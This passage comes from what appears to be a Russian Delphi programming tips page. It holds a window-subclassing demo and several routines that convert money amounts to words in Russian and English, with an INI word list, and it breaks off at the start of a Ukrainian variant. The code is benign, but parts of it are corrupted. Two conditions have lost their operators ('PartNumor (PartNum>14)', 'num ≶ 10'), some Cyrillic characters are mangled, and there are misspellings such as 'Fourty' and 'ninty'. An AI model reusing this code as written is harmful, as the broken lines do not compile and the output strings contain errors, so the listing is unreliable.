  TForm2 = class(TForm)
    procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form2: TForm2;
implementation
{$R *.DFM}
procedure TForm2.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  Caption := Format ('Cursor in %d, %d', [X, Y]);
end;
end.
unit SubMain;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    BtnShow: TButton;
    BtnProc: TButton;
    BtnMeth: TButton;
    procedure BtnShowClick(Sender: TObject);
    procedure BtnMethClick(Sender: TObject);
    procedure BtnProcClick(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    OldWndMeth, NewWndMeth: Pointer;
    SubControl: TWinControl;
  public
    procedure NewWinMethod (var Msg: TMessage);
  end;
var
  Form1: TForm1;
implementation
uses SubSecon;
{$R *.DFM}
var
  OldWndProc: Pointer = nil;
function NewWinProc (Handle: THandle;
  Msg, wParam, lParam: LongInt): LongInt; stdcall;
begin
  if Msg = wm_RButtonDown then
  begin
    Beep;
    SetWindowText (Handle,
      PChar (Format ('Right click in %d, %d', [
        LoWord (lParam), HiWord (lParam)])));
  end;
  // pass call to old window proc
  Result := CallWindowProc (OldWndProc, Handle,
    Msg, wParam, lParam);
end;
procedure TForm1.NewWinMethod (var Msg: TMessage);
begin
  if Msg.Msg = wm_LButtonDown then
  begin
    Beep;
    SubControl.SetTextBuf (
      PChar (Format ('Left click in %d, %d', [
        LoWord (Msg.lParam), HiWord (Msg.lParam)])));
  end
  else
    Msg.Result := CallWindowProc (OldWndMeth,
      SubControl.Handle, Msg.Msg, Msg.WParam, Msg.LParam);
end;
procedure TForm1.BtnShowClick(Sender: TObject);
begin
  Form2.Show;
end;
procedure TForm1.BtnProcClick(Sender: TObject);
begin
  OldWndProc := Pointer (SetWindowLong
    (Form2.Handle, gwl_WndProc, LongInt (@NewWinProc)));
  BtnProc.Enabled := False;
  end;
procedure TForm1.BtnMethClick(Sender: TObject);
begin
  SubControl := Form2;
  NewWndMeth := MakeObjectInstance (NewWinMethod);
  OldWndMeth := Pointer (SetWindowLong (
    SubControl.Handle, gwl_WndProc, Longint (NewWndMeth)));
  BtnMeth.Enabled := False;
    end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  if Assigned (NewWndMeth) then
    FreeObjectInstance (NewWndMeth);
end;
end.

Загрузить исходный код проекта

Сумма прописью - Способ 1.

Автор: Константин Егоров.

Создавайте отдельный модуль, где будут расположена эта функция, и подключайте его в нужные проекты.

Здесь опубликовывается конечный вид модуля:

unit FullSum;
interface
uses SysUtils;
{
Функция перевода суммы, записанной цифрами в сумму прописью :
например, 23.12 -> двадцать три рубля 12 копеек.
переводит до 999999999 руб. 99 коп.
Функция не отслеживает, правильное ли значение получено в параметре Number
(т.е. положительное и округленное с точностью до сотых) - эту проверку
необходимо провести до вызова функции.
}
//----------------- Copyright (c) 1999 by Константин Егоров
//----------------- mailto: egor@vladi.elektra.ru
function SumNumToFull(Number: real): string;
implementation
function SumNumToFull(Number:real):string;
var
  PartNum, TruncNum, NumTMP, D: integer;
  NumStr : string;
  i, R : byte;
  Flag11 : boolean;
begin
  D:=1000000;
  R:=4;
  //выделяем рубли
  TruncNum:=Trunc(Number);
  if TruncNum<>0 then
    repeat
      PartNum:=TruncNum div D;
      Dec(R);
      D:=D div 1000;
    until
      PartNum<>0
  else
    R:=0;
  // перевод рублей
  for i:=R downto 1 do
  begin
    Flag11:=False;
    // выделение цифры сотен
    NumTMP:=PartNum div 100;
    case NumTMP of
      1: NumStr:=NumStr+'сто ';
      2: NumStr:=NumStr+'двести ';
      3: NumStr:=NumStr+'триста ';
      4: NumStr:=NumStr+'четыреста ';
      5: NumStr:=NumStr+'пятьсот ';
      6: NumStr:=NumStr+'шестьсот ';
      7: NumStr:=NumStr+'семьсот ';
      8: NumStr:=NumStr+'восемьсот ';
      9: NumStr:=NumStr+'девятьсот ';
    end;
    // выделение цифры десятков
    NumTMP:=(PartNum mod 100) div 10;
    case NumTMP of
      1:
      begin
        NumTMP:=PartNum mod 100;
        case NumTMP of
          10: NumStr:=NumStr+'десять ';
          11: NumStr:=NumStr+'одиннадцать ';
          12: NumStr:=NumStr+'двенадцать ';
          13: NumStr:=NumStr+'тринадцать ';
          14: NumStr:=NumStr+'четырнадцать ';
          15: NumStr:=NumStr+'пятнадцать ';
          16: NumStr:=NumStr+'шестнадцать ';
          17: NumStr:=NumStr+'семнадцать ';
          18: NumStr:=NumStr+'восемнадцать ';
          19: NumStr:=NumStr+'девятнадцать ';
        end;
        case i of
          3: NumStr:=NumStr+'миллионов ';
          2: NumStr:=NumStr+'тысяч ';
          1: NumStr:=NumStr+'рублей ';
        end;
        Flag11:=True;
      end;
      2: NumStr:=NumStr+'двадцать ';
      3: NumStr:=NumStr+'тридцать ';
      4: NumStr:=NumStr+'сорок ';
      5: NumStr:=NumStr+'пятьдесят ';
      6: NumStr:=NumStr+'шестьдесят ';
      7: NumStr:=NumStr+'семьдесят ';
      8: NumStr:=NumStr+'восемьдесят ';
      9: NumStr:=NumStr+'девяносто ';
    end;
    // выделение цифры единиц
    NumTMP:=PartNum mod 10;
    if not Flag11 then
    begin
      case NumTMP of
        1:
          if i=2 then
            NumStr:=NumStr+'одна '
          else
            NumStr:=NumStr+'один ';
        2:
          if i=2 then
            NumStr:=NumStr+'две '
          else
            NumStr:=NumStr+'два ';
        3: NumStr:=NumStr+'три ';
        4: NumStr:=NumStr+'четыре ';
        5: NumStr:=NumStr+'пять ';
        6: NumStr:=NumStr+'шесть ';
        7: NumStr:=NumStr+'семь ';
        8: NumStr:=NumStr+'восемь ';
        9: NumStr:=NumStr+'девять ';
      end;
      case i of
        3:
          case NumTMP of
            1: NumStr:=NumStr+'миллион ';
            2,3,4: NumStr:=NumStr+'миллиона ';
            else
              NumStr:=NumStr+'миллионов ';
          end;
        2:
          case NumTMP of
            1 : NumStr:=NumStr+'тысяча ';
            2,3,4: NumStr:=NumStr+'тысячи ';
            else
              if PartNum<>0 then
                NumStr:=NumStr+'тысяч ';
          end;
        1:
          case NumTMP of
            1 : NumStr:=NumStr+'рубль ';
            2,3,4: NumStr:=NumStr+'рубля ';
            else
              NumStr:=NumStr+'рублей ';
          end;
      end;
    end;
    if i>1 then
    begin
      PartNum:=(TruncNum mod (D*1000)) div D;
      D:=D div 1000;
    end;
  end;
  //перевод копеек
  PartNum:=Round(Frac(Number)*100);
  if PartNum=0 then
  begin
    SumNumToFull:=NumStr+'00 копеек';
    Exit;
  end;
  // выделение цифры десятков
  NumTMP:=PartNum div 10;
  if NumTMP=0 then
    NumStr:=NumStr+'0'+IntToStr(PartNum)+' '
  else
    NumStr:=NumStr+IntToStr(PartNum)+' ';
  // выделение цифры единиц
  NumTMP:=PartNum mod 10;
  case NumTMP of
    1:
      if PartNum<>11 then
        NumStr:=NumStr+'копейка'
      else
        NumStr:=NumStr+'копеек';
    2,3,4:
      if (PartNumor (PartNum>14) then
        NumStr:=NumStr+'копейки'
      else
        NumStr:=NumStr+'копеек';
    else
      NumStr:=NumStr+'копеек';
  end;
  SumNumToFull:=NumStr;
end;
end.

Сумма прописью - Способ 10.

Еще два решения конвертации денежной суммы на английском языке.

function HundredAtATime(TheAmount: Integer): string;
var
  TheResult: string;
begin
  TheResult := '';
  TheAmount := Abs(TheAmount);
  while TheAmount > 0 do
  begin
    if TheAmount >= 900 then
    begin
      TheResult := TheResult + 'Nine hundred ';
      TheAmount := TheAmount - 900;
    end;
    if TheAmount >= 800 then
    begin
      TheResult := TheResult + 'Eight hundred ';
      TheAmount := TheAmount - 800;
    end;
    if TheAmount >= 700 then
    begin
      TheResult := TheResult + 'Seven hundred ';
      TheAmount := TheAmount - 700;
    end;
    if TheAmount >= 600 then
    begin
      TheResult := TheResult + 'Six hundred ';
      TheAmount := TheAmount - 600;
    end;
    if TheAmount >= 500 then
    begin
      TheResult := TheResult + 'Five hundred ';
      TheAmount := TheAmount - 500;
    end;
    if TheAmount >= 400 then
    begin
      TheResult := TheResult + 'Four hundred ';
      TheAmount := TheAmount - 400;
    end;
    if TheAmount >= 300 then
    begin
      TheResult := TheResult + 'Three hundred ';
      TheAmount := TheAmount - 300;
    end;
    if TheAmount >= 200 then
    begin
      TheResult := TheResult + 'Two hundred ';
      TheAmount := TheAmount - 200;
    end;
    if TheAmount >= 100 then
    begin
      TheResult := TheResult + 'One hundred ';
      TheAmount := TheAmount - 100;
    end;
    if TheAmount >= 90 then
    begin
      TheResult := TheResult + 'Ninety ';
      TheAmount := TheAmount - 90;
    end;
    if TheAmount >= 80 then
    begin
      TheResult := TheResult + 'Eighty ';
      TheAmount := TheAmount - 80;
    end;
    if TheAmount >= 70 then
    begin
      TheResult := TheResult + 'Seventy ';
      TheAmount := TheAmount - 70;
    end;
    if TheAmount >= 60 then
    begin
      TheResult := TheResult + 'Sixty ';
      TheAmount := TheAmount - 60;
    end;
    if TheAmount >= 50 then
    begin
      TheResult := TheResult + 'Fifty ';
      TheAmount := TheAmount - 50;
    end;
    if TheAmount >= 40 then
    begin
      TheResult := TheResult + 'Fourty ';
      TheAmount := TheAmount - 40;
    end;
    if TheAmount >= 30 then
    begin
      TheResult := TheResult + 'Thirty ';
      TheAmount := TheAmount - 30;
    end;
    if TheAmount >= 20 then
    begin
      TheResult := TheResult + 'Twenty ';
      TheAmount := TheAmount - 20;
    end;
    if TheAmount >= 19 then
    begin
      TheResult := TheResult + 'Nineteen ';
      TheAmount := TheAmount - 19;
    end;
    if TheAmount >= 18 then
    begin
      TheResult := TheResult + 'Eighteen ';
      TheAmount := TheAmount - 18;
    end;
    if TheAmount >= 17 then
    begin
      TheResult := TheResult + 'Seventeen ';
      TheAmount := TheAmount - 17;
    end;
    if TheAmount >= 16 then
    begin
      TheResult := TheResult + 'Sixteen ';
      TheAmount := TheAmount - 16;
    end;
    if TheAmount >= 15 then
    begin
      TheResult := TheResult + 'Fifteen ';
      TheAmount := TheAmount - 15;
    end;
    if TheAmount >= 14 then
    begin
      TheResult := TheResult + 'Fourteen ';
      TheAmount := TheAmount - 14;
    end;
    if TheAmount >= 13 then
    begin
      TheResult := TheResult + 'Thirteen ';
      TheAmount := TheAmount - 13;
    end;
    if TheAmount >= 12 then
    begin
      TheResult := TheResult + 'Twelve ';
      TheAmount := TheAmount - 12;
    end;
    if TheAmount >= 11 then
    begin
      TheResult := TheResult + 'Eleven ';
      TheAmount := TheAmount - 11;
    end;
    if TheAmount >= 10 then
    begin
      TheResult := TheResult + 'Ten ';
      TheAmount := TheAmount - 10;
    end;
    if TheAmount >= 9 then
    begin
      TheResult := TheResult + 'Nine ';
      TheAmount := TheAmount - 9;
    end;
    if TheAmount >= 8 then
    begin
      TheResult := TheResult + 'Eight ';
      TheAmount := TheAmount - 8;
    end;
    if TheAmount >= 7 then
    begin
      TheResult := TheResult + 'Seven ';
      TheAmount := TheAmount - 7;
    end;
    if TheAmount >= 6 then
    begin
      TheResult := TheResult + 'Six ';
      TheAmount := TheAmount - 6;
    end;
    if TheAmount >= 5 then
    begin
      TheResult := TheResult + 'Five ';
      TheAmount := TheAmount - 5;
    end;
    if TheAmount >= 4 then
    begin
      TheResult := TheResult + 'Four ';
      TheAmount := TheAmount - 4;
    end;
    if TheAmount >= 3 then
    begin
      TheResult := TheResult + 'Three ';
      TheAmount := TheAmount - 3;
    end;
    if TheAmount >= 2 then
    begin
      TheResult := TheResult + 'Two ';
      TheAmount := TheAmount - 2;
    end;
    if TheAmount >= 1 then
    begin
      TheResult := TheResult + 'One ';
      TheAmount := TheAmount - 1;
    end;
  end;
  HundredAtATime := TheResult;
end;
function Real2CheckAmount(TheAmount: Real): string;
var
  IntVal: LongInt;
  TmpVal: Integer;
  TmpStr,
    RetVal: string;
begin
  TheAmount := Abs(TheAmount);
  { центы }
  TmpVal := Round(Frac(TheAmount) * 100);
  IntVal := Trunc(TheAmount);
  TmpStr := HundredAtATime(TmpVal);
  if TmpStr = '' then
    TmpStr := 'Zero ';
  RetVal := TmpStr + 'cents';
  if IntVal > 0 then
    RetVal := 'dollars and ' + RetVal;
  { сотни }
  TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
  IntVal := Trunc((IntVal * 1.0) / 1000.0);
  TmpStr := HundredAtATime(TmpVal);
  RetVal := TmpStr + RetVal;
  { тысячи }
  TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
  IntVal := Trunc((IntVal * 1.0) / 1000.0);
  TmpStr := HundredAtATime(TmpVal);
  if TmpStr <> '' then
    RetVal := TmpStr + 'Thousand ' + RetVal;
  { миллионы }
  TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
  IntVal := Trunc((IntVal * 1.0) / 1000.0);
  TmpStr := HundredAtATime(TmpVal);
  if TmpStr <> '' then
    RetVal := TmpStr + 'Million ' + RetVal;
  { миллиарды }
  TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000);
  IntVal := Trunc((IntVal * 1.0) / 1000.0);
  TmpStr := HundredAtATime(TmpVal);
  if TmpStr <> '' then
    RetVal := TmpStr + 'Billion ' + RetVal;
  Real2CheckAmount := RetVal;
end;

Хммммм... вроде бы работает, но как все громоздко и неуклюже.... добавьте в код немного рекурсии и вы получите более элегантную программу..:))).

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    num: TEdit;
    spell: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
    function trans9(num: integer): string;
    function trans19(num: integer): string;
    function trans99(num: integer): string;
    function IntToSpell(num: integer): string;
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
function TForm1.IntToSpell(num: integer): string;
var
  spell: string;
  hspell: string;
  hundred: string;
  thousand: string;
  tthousand: string;
  hthousand: string;
  million: string;
begin
  if num ≶
  10 then
    spell := trans9(num);
  {endif}
  if (num < 20) and (num > 10) then
    spell := trans19(num);
  {endif}
  if (((num < 100) and (num > 19)) or (num = 10)) then
  begin
    hspell := copy(IntToStr(num), 1, 1) + '0';
    spell := trans99(StrToInt(hspell));
    hspell := copy(IntToStr(num), 2, 1);
    spell := spell + ' ' + IntToSpell(StrToInt(hspell));
  end;
  if (num < 1000) and (num > 100) then
  begin
    hspell := copy(IntToStr(num), 1, 1);
    hundred := IntToSpell(StrToInt(hspell));
    hspell := copy(IntToStr(num), 2, 2);
    hundred := hundred + ' hundred and ' + IntToSpell(StrToInt(hspell));
    spell := hundred;
  end;
  if (num < 10000) and (num > 1000) then
  begin
    hspell := copy(IntToStr(num), 1, 1);
    thousand := IntToSpell(StrToInt(hspell));
    hspell := copy(IntToStr(num), 2, 3);
    thousand := thousand + ' thousand ' + IntToSpell(StrToInt(hspell));
    spell := thousand;
  end;
  if (num < 100000) and (num > 10000) then
  begin
    hspell := copy(IntToStr(num), 1, 2);
    tthousand := IntToSpell(StrToInt(hspell));
    hspell := copy(IntToStr(num), 3, 3);
    tthousand := tthousand + ' thousand ' + IntToSpell(StrToInt(hspell));
    spell := tthousand;
  end;
  if (num < 1000000) and (num > 100000) then
  begin
    hspell := copy(IntToStr(num), 1, 3);
    hthousand := IntToSpell(StrToInt(hspell));
    hspell := copy(IntToStr(num), 4, 3);
    hthousand := hthousand + ' thousand and ' +
      IntToSpell(StrToInt(hspell));
    spell := hthousand;
  end;
  if (num < 10000000) and (num > 1000000) then
  begin
    hspell := copy(IntToStr(num), 1, 1);
    million := IntToSpell(StrToInt(hspell));
    hspell := copy(IntToStr(num), 2, 6);
    million := million + ' million and ' + IntToSpell(StrToInt(hspell));
    spell := million;
  end;
  IntToSpell := spell;
end;
function TForm1.trans99(num: integer): string;
var
  spell: string;
begin
  case num of
    10: spell := 'ten';
    20: spell := 'twenty';
    30: spell := 'thirty';
    40: spell := 'fourty';
    50: spell := 'fifty';
    60: spell := 'sixty';
    70: spell := 'seventy';
    80: spell := 'eighty';
    90: spell := 'ninty';
  end;
  trans99 := spell;
end;
function TForm1.trans19(num: integer): string;
var
  spell: string;
begin
  case num of
    11: spell := 'eleven';
    12: spell := 'twelve';
    13: spell := 'thirteen';
    14: spell := 'fourteen';
    15: spell := 'fifteen';
    16: spell := 'sixteen';
    17: spell := 'seventeen';
    18: spell := 'eighteen';
    19: spell := 'nineteen';
  end;
  trans19 := spell;
end;
function TForm1.trans9(num: integer): string;
var
  spell: string;
begin
  case num of
    1: spell := 'one';
    2: spell := 'two';
    3: spell := 'three';
    4: spell := 'four';
    5: spell := 'five';
    6: spell := 'six';
    7: spell := 'seven';
    8: spell := 'eight';
    9: spell := 'nine';
  end;
  trans9 := spell;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  numb: integer;
begin
  spell.text := IntToSpell(StrToInt(num.text));
end;
end.

Сумма прописью - Способ 11.

Автор: Панченко Сергей.

Честно, давно ждал подобного журнала в электронном виде. Решил послать своё творчество которое уже немало отработало, опять же, преобразование числа в пропись, отличающееся от опубликованных программок тем, что слова для прописи хранятся в отдельном файле (lang.cnf), по аналогии с подуктами 1C. Это позволяет изменять национальную валюту. Если поэкспериментировать, с массивом Univer, в котором хранятся окончания, можно добиться преобразования для многих языков, не сказал ли я чего лишнего. :) Надеюсь, моя версия Вам понравится. С наилучшими пожеланиями, Панченко Сергей Казахстан, Алматы,

BuchUtil.pas.

unit BuchUtil;
interface
uses IniFiles, SysUtils;
function DoubleChar(ch: string): string;
function NumToSampl(N: string): string;
function MoneyToSampl(M: Currency): string;
procedure LexemsToDim(fstr: string; var dim: array of string);
var
  NameNum: array[0..9, 1..4] of string; //массив им?н чисел
  Ext: array[0..4, 1..3] of string; //массив расшиений (тысячи, миллионы ...)
  Univer: array[1..9, 1..4] of integer; //массив окончаний
  Rubl: array[1..3] of string; //массив имен рублей
  Cop: array[1..3] of string; //массив имен копеек
  Zero: string; //название нуля
  One: string; //единица "одна"
  Two: string; //двойка "две"
  fFile: TIniFile; //файл, откуда загружается пропись
  fString: string;
  fDim: array[0..9] of string;
  i: integer;
implementation
{заполняет массив Dim лексемами}
procedure LexemsToDim(fstr: string; var dim: array of string);
var
  i, j: integer;
  flex: string;
begin
  if Length(fstr) > 0 then
  begin
    i := 1;
    j := 0;
    while i - 1 < Length(fstr) do
    begin
      if fstr[i] = ',' then
      begin
        dim[j] := flex + ' ';
        inc(j);
        flex := '';
      end
      else
        flex := flex + fstr[i];
      inc(i);
    end;
  end;
end;
{преобразует число в пропись
процедура использует файл lang.cnf}
function NumToSampl(N: string): string;
var
  k, i, i_indx: integer;
  number, string_num: string;
  index: integer;
  pos: integer;
  fl_ext: boolean;
begin
  fl_ext := true;
  i := 1;
  String_num := '';
  number := Trim(N);
  k := length(number);
  if (k = 1) and (number = '0') then
    String_num := Zero
  else
  begin
    pos := 0;
    while (k > 0) do
    begin
      if (k <> 1) and (i = 1) and (length(number) <> 1) and (copy(number, k - 1,
        1) = '1')
        and (copy(number, k, 1) <> '0') then
      begin
        index := StrToInt(copy(number, k, 1));
        dec(k);
        inc(i);
        i_indx := 4;
      end
      else
      begin
        index := StrToInt(copy(number, k, 1));
        i_indx := i;
      end;
      if (NameNum[index, i_indx] <> '') and (fl_ext = true) then
      begin
        String_num := Ext[pos, Univer[index, i_indx]] + String_num;
        fl_ext := false;
      end;
      if (index = 1) and (pos = 1) and (i = 1) then
        String_num := One + String_num
      else if (index = 2) and (pos = 1) and (i = 1) then
        String_num := Two + String_num
      else
        String_num := NameNum[index, i_indx] + String_num;
      inc(i);
      if i = 4 then
      begin
        i := 1;
        inc(pos);
        fl_ext := true
      end;
      dec(k);
    end;
  end;
  if Trim(String_Num) <> '' then
  begin
    String_num[1] := CHR(ORD(String_num[1]) - 32);
    Result := String_num;
  end;
end;
{Преобразует х в 0х}
function DoubleChar(ch: string): string;
begin
  if Length(ch) = 1 then
    Result := '0' + ch
  else
    Result := ch;
end;
{преобразует денежную сумму в пропись}
function MoneyToSampl(M: Currency): string;
var
  Int_Part, idx, idxIP, idxRP: integer;
  Int_Str, Real_Part, Sampl: string;
begin
  Int_Part := Trunc(Int(M));
  Int_Str := IntToStr(Int_Part);
  Real_Part := DoubleChar(IntToStr(Trunc(Int((M - Int_Part + 0.001) * 100))));
  Sampl := NumToSampl(Int_Str);
  idx := StrToInt(Int_Str[Length(Int_Str)]);
  if idx = 0 then
    idx := 5;
  idxIP := Univer[idx, 1];
  idx := StrToInt(Real_Part[Length(Real_Part)]);
  if idx = 0 then
    idx := 5;
  idxRP := Univer[idx, 1];
  Result := Sampl + Rubl[idxIP] + Real_Part + ' ' + Cop[idxRP];
end;
initialization
  {Предположим файл находится на C:\ диске}
  fFile := TIniFile.Create('c:\lang.cnf');
  try
    {Заполнение массива рублей}
    fString := fFile.ReadString('Money', 'Rub', ',');
    LexemsToDim(fString, Rubl);
    {Заполнение массива копеек}
    fString := fFile.ReadString('Money', 'Cop', ',');
    LexemsToDim(fString, Cop);
    {Заполнение массива чисел}
    fString := fFile.ReadString('Nums', 'Numbers', ',');
    LexemsToDim(fString, fdim);
    NameNum[0, 1] := '';
    for i := 1 to 9 do
      NameNum[i, 1] := fdim[i - 1];
    {Заполнение массива десятков}
    fString := fFile.ReadString('Nums', 'Tens', ',');
    LexemsToDim(fString, fdim);
    NameNum[0, 2] := '';
    for i := 1 to 9 do
      NameNum[i, 2] := fdim[i - 1];
    {Заполнение массива сотен}
    fString := fFile.ReadString('Nums', 'Hundreds', ',');
    LexemsToDim(fString, fdim);
    NameNum[0, 3] := '';
    for i := 1 to 9 do
      NameNum[i, 3] := fdim[i - 1];
    {Заполнение массива чисел после десяти}
    fString := fFile.ReadString('Nums', 'AfterTen', ',');
    LexemsToDim(fString, fdim);
    NameNum[0, 4] := '';
    for i := 1 to 9 do
      NameNum[i, 4] := fdim[i - 1];
    {Заполнение расширений чисел}
    Ext[0, 1] := '';
    Ext[0, 2] := '';
    Ext[0, 3] := '';
    {Тысячи}
    fString := fFile.ReadString('Nums', 'Thou', ',');
    LexemsToDim(fString, fdim);
    for i := 1 to 3 do
      Ext[1, i] := fdim[i - 1];
    {Миллионы}
    fString := fFile.ReadString('Nums', 'Mill', ',');
    LexemsToDim(fString, fdim);
    for i := 1 to 3 do
      Ext[2, i] := fdim[i - 1];
    {Миллиарды}
    fString := fFile.ReadString('Nums', 'Bill', ',');
    LexemsToDim(fString, fdim);
    for i := 1 to 3 do
      Ext[3, i] := fdim[i - 1];
    {Триллион}
    fString := fFile.ReadString('Nums', 'Thrill', ',');
    LexemsToDim(fString, fdim);
    for i := 1 to 3 do
      Ext[4, i] := fdim[i - 1];
    Zero := fFile.ReadString('Nums', 'Zero', '0');
    if Zero[Length(Zero)] = ',' then
      Zero := Copy(Zero, 1, Length(Zero) - 1) + ' ';
    One := fFile.ReadString('Nums', 'One', '1');
    if One[Length(One)] = ',' then
      One := Copy(One, 1, Length(One) - 1) + ' ';
    Two := fFile.ReadString('Nums', 'Two', '0');
    if Two[Length(Two)] = ',' then
      Two := Copy(Two, 1, Length(Two) - 1) + ' ';
    {Заполнение таблицы окончаний}
    Univer[1, 1] := 1;
    Univer[1, 2] := 2;
    Univer[1, 3] := 2;
    Univer[1, 4] := 2;
    Univer[2, 1] := 3;
    Univer[2, 2] := 2;
    Univer[2, 3] := 2;
    Univer[2, 4] := 2;
    Univer[3, 1] := 3;
    Univer[3, 2] := 2;
    Univer[3, 3] := 2;
    Univer[3, 4] := 2;
    Univer[4, 1] := 3;
    Univer[4, 2] := 2;
    Univer[4, 3] := 2;
    Univer[4, 4] := 2;
    Univer[5, 1] := 2;
    Univer[5, 2] := 2;
    Univer[5, 3] := 2;
    Univer[5, 4] := 2;
    Univer[6, 1] := 2;
    Univer[6, 2] := 2;
    Univer[6, 3] := 2;
    Univer[6, 4] := 2;
    Univer[7, 1] := 2;
    Univer[7, 2] := 2;
    Univer[7, 3] := 2;
    Univer[7, 4] := 2;
    Univer[8, 1] := 2;
    Univer[8, 2] := 2;
    Univer[8, 3] := 2;
    Univer[8, 4] := 2;
    Univer[9, 1] := 2;
    Univer[9, 2] := 2;
    Univer[9, 3] := 2;
    Univer[9, 4] := 2;
  finally
    fFile.Free;
  end;
end.

Lang.cnf.

[Nums]
Numbers=один,два,три,четыре,пять,шесть,семь,восемь,девять,
One=одна,
Two=две,
Tens=десять,двадцать,тридцать,сорок,пятьдесят,шестьдесят,семьдесят,восемьдесят,девяносто,
Hundreds=сто,двести,триста,четыреста,пятьсот,шестьсот,семьсот,восемьсот,девятьсот,
AfterTen=одиннадцать,двенадцать,тринадцать,четырнадцать,пятнадцать,шестнадцать,семнадцать,восемнадцать,девятнадцать,
Zero=ноль,
Thou=тысяча,тысяч,тысячи,
Mill=миллион,миллионов,миллиона,
Bill=миллиард,миллиардов,миллиарда,
Thrill=триллион,триллионов,триллиона,
[Money]
Rub=рубль,рублей,рубля,
Cop=копейка,копеек,копейки,

Сумма прописью - Способ 12.

Автор: Васильев Сергей Геннадьевич.

function NumToStr(n: double; c: byte = 0): string;
(*
c=0 - 21.05 -> 'Двадцать один рубль 05 копеек.'
с=1 - 21.05 -> 'двадцать один'
c=2 - 21.05 -> '21-05', 21.00 -> '21='
*)
const
  digit: array[0..9] of string = ('ноль', 'оди', 'два', 'три', 'четыр',
    'пят', 'шест', 'сем', 'восем', 'девят');
var
  ts, mln, mlrd, SecDes: Boolean;
  len: byte;
  summa: string;
  function NumberString(number: string): string;
  var
    d, pos: byte;
    function DigitToStr: string;
    begin
      result := '';
      if (d <> 0) and ((pos = 11) or (pos = 12)) then
        mlrd := true;
      if (d <> 0) and ((pos = 8) or (pos = 9)) then
        mln := true;
      if (d <> 0) and ((pos = 5) or (pos = 6)) then
        ts := true;
      if SecDes then
      begin
        case d of
          0: result := 'десять ';
          2: result := 'двенадцать '
        else
          result := digit[d] + 'надцать '
        end;
        case pos of
          4: result := result + 'тысяч ';
          7: result := result + 'миллионов ';
          10: result := result + 'миллиардов '
        end;
        SecDes := false;
        mln := false;
        mlrd := false;
        ts := false
      end
      else
      begin
        if (pos = 2) or (pos = 5) or (pos = 8) or (pos = 11) then
          case d of
            1: SecDes := true;
            2, 3: result := digit[d] + 'дцать ';
            4: result := 'сорок ';
            9: result := 'девяносто ';
            5..8: result := digit[d] + 'ьдесят '
          end;
        if (pos = 3) or (pos = 6) or (pos = 9) or (pos = 12) then
          case d of
            1: result := 'сто ';
            2: result := 'двести ';
            3: result := 'триста ';
            4: result := 'четыреста ';
            5..9: result := digit[d] + 'ьсот '
          end;
        if (pos = 1) or (pos = 4) or (pos = 7) or (pos = 10) then
          case d of
            1: result := 'один ';
            2, 3: result := digit[d] + ' ';
            4: result := 'четыре ';
            5..9: result := digit[d] + 'ь '
          end;
        if pos = 4 then
        begin
          case d of
            0: if ts then
                result := 'тысяч ';
            1: result := 'одна тысяча ';
            2: result := 'две тысячи ';
            3, 4: result := result + 'тысячи ';
            5..9: result := result + 'тысяч '
          end;
          ts := false
        end;
        if pos = 7 then
        begin
          case d of
            0: if mln then
                result := 'миллионов ';
            1: result := result + 'миллион ';
            2, 3, 4: result := result + 'миллиона ';
            5..9: result := result + 'миллионов '
          end;
          mln := false
        end;
        if pos = 10 then
        begin
          case d of
            0: if mlrd then
                result := 'миллиардов ';
            1: result := result + 'миллиард ';
            2, 3, 4: result := result + 'миллиарда ';
            5..9: result := result + 'миллиардов '
          end;
          mlrd := false
        end
      end
    end;
  begin
    result := '';
    ts := false;
    mln := false;
    mlrd := false;
    SecDes := false;
    len := length(number);
    if (len = 0) or (number = '0') then
      result := digit[0]
    else
      for pos := len downto 1 do
      begin
        d := StrToInt(copy(number, len - pos + 1, 1));
        result := result + DigitToStr
      end
  end;
  function MoneyString(number: string): string;
  var
    s: string[1];
    n: string;
  begin
    len := length(number);
    n := copy(number, 1, len - 3);
    result := NumberString(n);
    s := AnsiUpperCase(result[1]);
    delete(result, 1, 1);
    result := s + result;
    if len < 2 then
    begin
      if len = 0 then
        n := '0';
      len := 2;
      n := '0' + n
    end;
    if copy(n, len - 1, 1) = '1' then
      result := result + 'рублей'
    else
    begin
      case StrToInt(copy(n, len, 1)) of
        1: result := result + 'рубль';
        2, 3, 4: result := result + 'рубля'
      else
        result := result + 'рублей'
      end
    end;
    len := length(number);
    n := copy(number, len - 1, len);
    if copy(n, 1, 1) = '1' then
      n := n + ' копеек.'
    else
    begin
      case StrToInt(copy(n, 2, 1)) of
        1: n := n + ' копейка.';
        2, 3, 4: n := n + ' копейки.'
      else
        n := n + ' копеек.'
      end
    end;
    result := result + ' ' + n
  end;
  // Основная часть
begin
  case c of
    0: result := MoneyString(FormatFloat('0.00', n));
    1: result := NumberString(FormatFloat('0', n));
    2:
      begin
        summa := FormatFloat('0.00', n);
        len := length(summa);
        if copy(summa, len - 1, 2) = '00' then
        begin
          delete(summa, len - 2, 3);
          result := summa + '='
        end
        else
        begin
          delete(summa, len - 2, 1);
          insert('-', summa, len - 2);
          result := summa;
        end;
      end
  end;
end;

Сумма прописью - Способ 13.

Автор: Andrew Tkachenko.

Посмотрел я - много советов Число строкой, но нет преобразования на Украинский язык я подумал может модуль который я когда-то со славарем писал кому то спасет жизнь - так как у меня он уже года два работает.

unit UkrRecog;
{копирайт непомню чей. Был для русских циферок, а я переделал под
украинские}
{если кто что найдет пришлите
}
{by Andrew Tkachenko, proektwo@netcity.ru, Ukraine,
}
interface
const
  UkrMonthString: array[1..12] of string[9] = (
    'с?чня', 'лютого', 'березня', 'квiтня', 'травня',
